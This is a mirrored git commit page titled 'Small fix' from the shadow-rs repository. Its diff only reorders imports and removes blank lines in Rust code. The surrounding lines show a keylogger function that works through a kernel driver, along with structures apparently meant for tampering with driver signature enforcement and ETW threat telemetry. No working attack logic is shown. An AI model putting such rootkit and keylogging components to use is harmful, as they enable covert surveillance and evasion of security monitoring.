mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-14 21:14:28 +01:00
Small fix
This commit is contained in:
@@ -1,10 +1,10 @@
|
||||
use {
|
||||
log::*,
|
||||
shared::structs::{DSE, ETWTI},
|
||||
crate::utils::{
|
||||
vk_to_char, update_key_state, key_pressed,
|
||||
get_process_by_name, open_driver,
|
||||
},
|
||||
shared::structs::{DSE, ETWTI},
|
||||
std::{
|
||||
ffi::c_void, fs::OpenOptions, io::{BufWriter, Write},
|
||||
mem::size_of, ptr::null_mut, time::Duration
|
||||
@@ -22,7 +22,6 @@ use {
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
/// Key states.
|
||||
pub static mut KEY_STATE: [u8; 64] = [0; 64];
|
||||
pub static mut KEY_PREVIOUS: [u8; 64] = [0; 64];
|
||||
@@ -64,7 +63,6 @@ impl Misc {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
pub fn keylogger(self, ioctl_code: u32, file: &String) {
|
||||
unsafe {
|
||||
let mut address: usize = 0;
|
||||
|
||||
Reference in New Issue
Block a user